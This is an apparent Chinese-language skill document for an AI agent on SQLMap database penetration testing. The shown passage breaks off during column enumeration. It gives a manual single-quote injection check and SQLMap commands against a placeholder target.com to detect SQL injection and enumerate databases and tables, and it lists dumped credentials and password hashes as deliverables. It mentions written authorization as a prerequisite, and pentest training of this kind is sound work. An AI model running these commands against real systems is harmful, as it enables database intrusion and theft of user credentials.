[ PROMPT_NODE_27680 ]
SQLMap 数据库渗透测试
[ SKILL_DOCUMENTATION ]
# SQLMap 数据库渗透测试
## 目的
提供使用 SQLMap 进行自动化 SQL 注入检测和利用的系统化方法。本技能涵盖数据库枚举、表和列发现、数据提取、多种目标指定方法,以及针对 MySQL、PostgreSQL、MSSQL、Oracle 和其他数据库管理系统的高级利用技术。
## 输入 / 前置条件
- **目标 URL**:具有可注入参数的 Web 应用程序 URL (例如 `?id=1`)
- **SQLMap 安装**:预装在 Kali Linux 上或从 GitHub 下载
- **已验证的注入点**:已确认或怀疑存在 SQL 注入的 URL 参数
- **请求文件 (可选)**:用于基于 POST 注入的 Burp Suite 捕获的 HTTP 请求
- **授权**:渗透测试活动的书面许可
## 输出 / 交付物
- **数据库枚举**:目标服务器上所有数据库的列表
- **表结构**:目标数据库内的完整表名
- **列映射**:每个表的列名和数据类型
- **提取的数据**:转储的记录,包括用户名、密码和敏感数据
- **哈希值**:用于离线破解的密码哈希
- **漏洞报告**:SQL 注入类型和严重性的确认
## 核心工作流
### 1. 识别 SQL 注入漏洞
#### 手动验证
bash
# 添加单引号以破坏查询
http://target.com/page.php?id=1'
# 如果出现错误消息,则很可能存在 SQL 注入
# 错误示例: "You have an error in your SQL syntax"
#### 初始 SQLMap 扫描
bash
# 基础漏洞检测
sqlmap -u "http://target.com/page.php?id=1" --batch
# 带有详细输出的冗长模式
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
### 2. 枚举数据库
#### 列出所有数据库
bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
**关键选项:**
- `-u`: 带有可注入参数的目标 URL
- `--dbs`: 枚举数据库名称
- `--batch`: 使用默认答案 (非交互模式)
### 3. 枚举表
#### 列出特定数据库中的表
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
**关键选项:**
- `-D`: 指定目标数据库名称
- `--tables`: 枚举表名
### 4. 枚举列
#### 列出特定表中的列
bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
**关键选项:**
- `-T`: 指定